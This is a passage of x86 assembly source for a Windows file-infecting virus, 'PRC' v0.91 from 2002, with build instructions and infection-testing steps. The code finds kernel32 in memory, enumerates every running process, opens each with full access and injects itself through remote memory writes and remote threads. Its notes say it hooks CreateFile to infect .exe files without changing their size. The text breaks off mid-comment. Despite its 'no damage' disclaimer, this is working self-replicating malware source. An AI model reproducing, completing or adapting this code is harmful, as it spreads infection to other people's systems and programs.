;*********************************************************************
;* *
;* The program information *
;* *
;* Program Name: PRC *
;* Current Version: 0.91(not under strict test) *
;* Completed on 11-25, 2002 *
;* *
;* This program is something like a virus. But it does not contain *
;* any damage code. So it won't do harm to your system. It just *
;* demonstrates a way of developing a resident virus *
;* under Windows. *
;* *
;* You can connect me [archim@163.com] for technic discussions *
;* *
;*===================================================================*
;* *
;* How to complile this program? *
;* tasm32 /m /ml pv.asm, pv.obj *
;* tlink32 -c -M -x -Tpe -ap -S:0x10000 -Sc:0x6000 pv.obj, *
;* pv.exe, , kernel32.lib user32.lib *
;* The two libraries of kernel32.lib and user32.lib can be *
;* attained in the BC++5.5 compiler. *
;* *
;*===================================================================*
;* History *
;*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*
;* *
;* Version: 0.9 *
;* Completed on 11-25, 2002 *
;* *
;* 1) It can inject itself into the space of all the active *
;* processes in the system if access is permitted. *
;* 2) It can hook the File Storage API functions of CreateFileA *
;* and CreateFileW. If the hook is successfully installed, *
;* all file operations that the process makes will be *
;* monitored by our code. *
;* 3) It has the ability to infect the PE files with the *
;* extension ".exe". After the PE file has been infected, *
;* neither its size will increase, nor it will be infected *
;* a more time. *
;* *
;*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*
;* *
;* Version: 0.91 *
;* under modification *
;* *
;* 1) Use CreateFileMapping and MapViewOfFile instead of ReadFile, *
;* WriteFile and SetFilePointer to access the target file. The *
;* program size become much shorter. *
;* 2) Correct the bugs that the file is not closed if the file *
;* fails to be infected. *
;* *
;*********************************************************************
.386P
.model Flat, Stdcall
; If you want to play with the program, follow me.
; 1) Do change the value of 'DEBUG' unless you know exactly what the option will
; affect the behavior of the program.
; 2) Compile and run the program.
; 3) Prepare some EXE files and rename them to "*test.exe" style. Wait a few
; seconds, then search all EXE files containing the string "prcv0.9". If
; any file has been found, it means the program works! If no file are
; found, try more other files, because there are some EXE files the program
; can't infect.
; 4) I develop the program under Windows 2000. I don't know what will happen
; if it runs under Windows 98 or Windows XP.
;*********************************************************************
FALSE = 0
TRUE = 1
DEBUG = TRUE
NO_EXCEPTION_HANDLER = TRUE
TRACE_REMOTE_THREAD = 0
SKIP_CURRENT_PROCESS = 1
INFECT_ALL_PROCESSES = 1
NOT_INFECT_FILES = 0
ERROR_DIAGNOSE = 0
;*********************************************************************
TH32CS_SNAPMODULE = 00000008h
FILE_BEGIN = 0
FILE_CURRENT = 1
FILE_END = 2
OPEN_EXISTING = 00000003h
if NOT_INFECT_FILES
OPEN_ALWAYS = 00000004h
endif
FILE_ATTRIBUTE_NORMAL = 00000080h
FILE_SHARE_READ = 00000001h
FILE_SHARE_WRITE = 00000002h
GENERIC_READ = 80000000h
GENERIC_WRITE = 40000000h
FILE_MAP_WRITE = 00000002h
MB_PRECOMPOSED = 00000001h
MB_COMPOSITE = 00000002h
CP_ACP = 0
CP_OEMCP = 1
CP_MACCP = 2
CP_THREAD_ACP = 3
PAGE_READWRITE = 00000004h
FLAG_IN_DATA_SECTION = 00000001h
FLAG_USE_TWO_SECTIONS = 00000002h
MajorVersion = 0
MinorVersion = 9
MAX_PATH = 260
; sizeof(IMAGE_NT_HEADERS)
; Section Header offset 0xF8
; FieldName Offset
;---------------------------------------------------------------------
; AddressOfEntryPoint 0x28
; SizeOfHeaders 0x54
; SizeOfStackCommit 0x64
; DataDirectory 0x78
;*********************************************************************
;* *
;* Declare funtion prototype *
;* *
;*********************************************************************
GetLastError PROTO
MessageBoxA PROTO :DWORD, :DWORD, :DWORD, :DWORD
GetModuleHandleA PROTO :DWORD
GetProcAddress PROTO :DWORD, :DWORD
CreateFileA PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
CreateFileW PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
CloseHandle PROTO :DWORD
FindFirstFileA PROTO :DWORD, :DWORD
FindNextFileA PROTO :DWORD, :DWORD
printf PROTO :DWORD
;*********************************************************************
;* *
;* Entry code section *
;* *
;*********************************************************************
_TEXT segment use32 public 'CODE'
VirtualEntry:
call GetLastError
call GetCurrentEipToEbx
$A:
;mov esi, 00400000h
;mov eax, [esi+0000003Ch]
;lea edi, [esi+eax]
;mov edx, [edi+00000080h]
;mov eax, [edx+esi]
;add eax, esi
;mov ecx, [eax+00000010h]
mov edx, offset GetLastError
add edx, 2
mov ecx, [edx]
sub ecx, 00400000h
mov eax, offset RvaOfFirstThunkOfKernel32
sub eax, offset $A
mov [ebx+eax], ecx
mov eax, offset OriginalEntryPoint
sub eax, offset $A
mov ecx, offset lb_ExitCurrentProcess
sub ecx, 00400000h
;add ebx, eax
;push ebp
;mov ebp, esp
;push 00400000h
mov [ebx+eax], ecx
jmp EntryOfVirusCode
lb_ExitCurrentProcess:
ret
_TEXT ends
;*********************************************************************
;* *
;* Data section *
;* *
;*********************************************************************
_DATA segment use32 public 'DATA'
;---- Error Messages
szExceptionCaused db "Exception error captured!",0
szError db "Error",0
FileNameToFind db 'g:\testfile\'
FileNameFound = $
db '*.exe', 0
db 260 dup (?)
TestFileW dw 'G', ':', '\', 'P', 'R', 'O', '\', 'T', 'a', 's', 'm', '\'
dw 'T', 'e', 's', 't', '.', 'e', 'x', 'e', 0
TestFileA db 'G:\PRO\TASM\test.exe', 0
W32FindData db 140h dup(?)
_DATA ends
;*********************************************************************
;* *
;* Main code section *
;* *
;*********************************************************************
VirSegment segment use32 public 'PRC'
MAX_WND_SIZE = 1024
OFFSET_CODING_LENGTH = 10
M = 3
BaseOfVirusCode = $
;*********************************************************************
;* *
;* RestoreCompressedData() *
;* *
;* Remarks: *
;* Restore the compressed data *
;* *
;* Parameters: *
;* [Esi] *
;* Point to the buffer containing decompression information *
;* *
;* Return Value: *
;* None. *
;* *
;*********************************************************************
RestoreCompressedData:
cld
mov edi, [ebp][lpImageBaseBaseOfProcess]
lea edx, [ebx][SizeOfTransmission-@B]
push edx
lea ecx, [ebx+VIRUS_VIRTUAL_SIZE][BaseOfVirusCode-@B]
push ecx
lodsd
push eax
mov edx, edi ;<
lodsd ;<
add edx, eax ;< pDataBuffer
push edx ;<
;<
call LZ77Decompress
add edi, [esi]
mov esi, ecx
mov ecx, 'HOLD'
SizeOfTransmission = $-4
push ecx
push esi
push PAGE_READWRITE
mov esi, edi
call InvokeVirtualProtectEx
pop esi
pop ecx
push ecx
push edi
cld
rep movsb
pop esi
pop ecx
push dword ptr [ebx][dwOldProtect-@B]
call InvokeVirtualProtectEx
lb_ExitRestoreCompressedData:
ret
RvaOfEntryPoint = $
dd (offset EntryOfVirusCode - 00400000h)
RvaOfFirstThunkOfKernel32 = $
dd 0
DecompressionParametersA = $
dd 0 ;Total bits afetr compression.
dd 0 ;Rva of the data buffer where the compressed data are stored in.
dd 0 ;Rva of the data buffer where the compressed data are restored to.
DecompressionParametersB = $
dd 0
dd 0
dd 0
EntryOfVirusCode:
XX=-4
lpImageBaseBaseOfProcess = XX
if NO_EXCEPTION_HANDLER
XX=XX-4
else
XX=XX-12
endif
lpImageBaseOfKernel32 = XX
XX=XX-4
hSnapShot = XX
XX=XX-4
hProcessHandle = XX
XX=XX-4
lpBaseOfCodeInRemoteProcess = XX
pushad
sub esp, VIRUS_BOOTING_SIZE
mov edi, esp
call @A
@A = $
pop ebx
lea eax, [ebx][EntryOfVirusCode-@A]
mov ecx, [ebx][RvaOfEntryPoint-@A]
sub eax, ecx
lea esi, [ebx][BaseOfVirusCode-@A]
mov ecx, VIRUS_PHYSICAL_SIZE
cld
rep movsb
lea ebx, [esp][@B-BaseOfVirusCode]
jmp ebx
@B = $
push ebp
mov ebp, esp
push eax ; Initialize lpImageBaseBaseOfProcess
add [ebx][OriginalEntryPoint-@B], eax
; Set up our exception handler. So when any exception occurs,
; our exception handler will get control first, and we can quit
; the virus code safely.
;=====================================================================
ife NO_EXCEPTION_HANDLER
lea eax, [esp-8]
xor esi, esi
xchg eax, fs:[esi]
lea ecx, [ebx][ExceptionHandler-@B]
push ecx
push eax
endif
;=====================================================================
; Let's locate the image base of the module 'Kernel32.dll'.
lb_LoopOfLocateKernel32:
pop eax
push eax
mov ecx, [ebx][RvaOfFirstThunkOfKernel32-@B]
mov eax, [eax+ecx]
add [ebx][RvaOfFirstThunkOfKernel32-@B], dword ptr 4
lb_LoopOfCheck64KBoundaries:
and eax, 0FFFF0000h
cmp word ptr [eax], 'ZM'
jnz lb_TryNextBoundary
mov ecx, [eax+0000003Ch]
add ecx, eax
cmp dword ptr [ecx], 00004550h
jnz lb_TryNextBoundary
mov edx, [ecx+00000078h]
add edx, eax
mov esi, [edx+0000000Ch]
add esi, eax
lea edi, [ebx][NameOfKernel32-@B]
call strcmpi
jz lb_ImageBaseOfKernel32IsFound
jmp lb_LoopOfLocateKernel32
lb_TryNextBoundary:
sub eax, 00010000h
jmp lb_LoopOfCheck64KBoundaries
lb_ImageBaseOfKernel32IsFound:
push eax ; Intialize lpImageBaseOfKernel32
mov esi, edx
lea edi, [ebx][IfNameTable-@B]
; Let get the entry points of the Windows API functions which
; the virus code must use from the module 'kernel32.dll'.
lb_LoopOfGetEntryAddressOfApiFunctions:
mov ecx, [edi]
jecxz lb_AllAddressesGotten
push eax
push edi
lea edi, [ebx+ecx]
call GetProcedureAddress
test eax, eax
jz lb_ExitVirusProgram
pop edi
mov [edi][CallAddressTable-IfNameTable], eax
pop eax
add edi, 4
jmp lb_LoopOfGetEntryAddressOfApiFunctions
lb_AllAddressesGotten:
lea esi, [ebx][DecompressionParametersA-@B]
call RestoreCompressedData
jmp lb_NoSecondCompressedSection
JumpOffset = $-1
NextStatement = $
lea esi, [ebx][DecompressionParametersB-@B]
call RestoreCompressedData
lb_NoSecondCompressedSection:
;//}
@C = @B
; Now all the entry addresses of the Api functions have been relocated.
; That is very import.
;
; Let's go.
;{
push 0
push 2
call dword ptr [ebx][lpfnCreateToolhelp32Snapshot-@C]
test eax, eax
jz lb_AllProcessesEnumerated
push eax ; Initialize hSnapShot
lea eax, [ebx][ProcessEntry32-@C]
mov dword ptr [eax], 00000128h
push eax
push dword ptr [ebp][hSnapShot]
call dword ptr [ebx][lpfnProcess32First-@C]
test eax, eax
jz lb_AllProcessesEnumerated
lb_LoopOfEnumerateAllProcesses:
ife INFECT_ALL_PROCESSES
ife SKIP_CURRENT_PROCESS
lea esi, [ebx][pe_szExeFile-@C]
lea edi, [ebx][TargetProcessName-@C]
call strcmpi
jz lb_TryNextProcess
call [ebx][lpfnGetCurrentProcessId-@C]
cmp eax, [ebx][pe_th32ProcessID-@C]
jnz lb_TryNextProcess
else
lea esi, [ebx][pe_szExeFile-@C]
lea edi, [ebx][TargetProcessName-@C]
call strcmpi
jnz lb_TryNextProcess
endif
endif
lb_TargetProcessFound:
mov eax, [ebx][pe_th32ProcessID-@C]
push eax
push 0
push 001F0FFFh ; PROCESS_ALL_ACCESS
call [ebx][lpfnOpenProcess-@C]
test eax, eax
jz lb_TryNextProcess
push eax ; Initailize hProcessHandle
push 00000004h ; PAGE_READWRITE
push 00001000h ; MEM_COMMIT
push VIRUS_ALIGN_SIZE
push 0
push eax
call [ebx][lpfnVirtualAllocEx-@C]
;push eax ;<
;call GetLastError ;< Debug Code
;pop eax ;<
test eax, eax
jz lb_ExitVirusProgram
xchg eax, esi
push esi ; lpBaseOfCodeInRemoteProcess
lea edi, [ebx][ReturnValueFromRemoteProcess-@C]
xor edx, edx
mov [edi], edx ; Initialize return value
push edx
push VIRUS_ALIGN_SIZE
lea ecx, [ebx][BaseOfVirusCode-@C]
push ecx
push esi
push dword ptr [ebp][hProcessHandle]
call [ebx][lpfnWriteProcessMemory-@C]
test eax, eax
jz lb_ExitVirusProgram
ife SKIP_CURRENT_PROCESS
push ebx
endif
xor ecx, ecx
push ecx
push ecx
push ecx
lea edx, [esi][RemoteThread-BaseOfVirusCode]
push edx
push ecx
push ecx
push dword ptr [ebp][hProcessHandle]
call [ebx][lpfnCreateRemoteThread-@C]
;test eax, eax
;jz lb_ExitVirusProgram
ife SKIP_CURRENT_PROCESS
pop ebx
endif
push dword ptr [ebp][hProcessHandle]
call [ebx][lpfnCloseHandle-@C]
lb_TryNextProcess:
lea eax, [ebx][ProcessEntry32-@C]
push eax
push dword ptr [ebp][hSnapShot]
call dword ptr [ebx][lpfnProcess32Next-@C]
test eax, eax
jz lb_ExitVirusProgram
jmp lb_LoopOfEnumerateAllProcesses
lb_AllProcessesEnumerated:
push dword ptr [ebp][hSnapShot]
call [ebx][lpfnCloseHandle-@C]
lb_ExitVirusProgram:
;jmp lb_DirectlyExitVirusProgram
lb_DirectlyExitVirusProgram:
ife NO_EXCEPTION_HANDLER
pop dword ptr fs:[0]
pop ecx
endif
mov esp, ebp
pop ebp
add esp, VIRUS_BOOTING_SIZE
popad
push offset lb_ExitCurrentProcess
OriginalEntryPoint = $-4
ret
;*********************************************************************
;* *
;* Get the current EIP into EAX. You can use this way to locate *
;* the virus code. *
;* *
;*********************************************************************
GetCurrentEipToEax:
pop eax
jmp eax
;*********************************************************************
;* *
;* Get the current EIP into EBX. You can use this way to locate *
;* the virus code. *
;* *
;*********************************************************************
GetCurrentEipToEbx:
pop ebx
jmp ebx
;*********************************************************************
;* *
;* strcmpi() *
;* *
;* Remarks: *
;* This routine compare two strings, case-insensitive. *
;* *
;* Parameters: *
;* [ESI] *
;* Point to string1. *
;* [EDI] *
;* Point to string2 *
;* *
;* Return Value: *
;* If these two strings are identical, *
;* ZF flag will be set. *
;* If these two strings are not identical, *
;* ZF flag will be cleared. *
;* &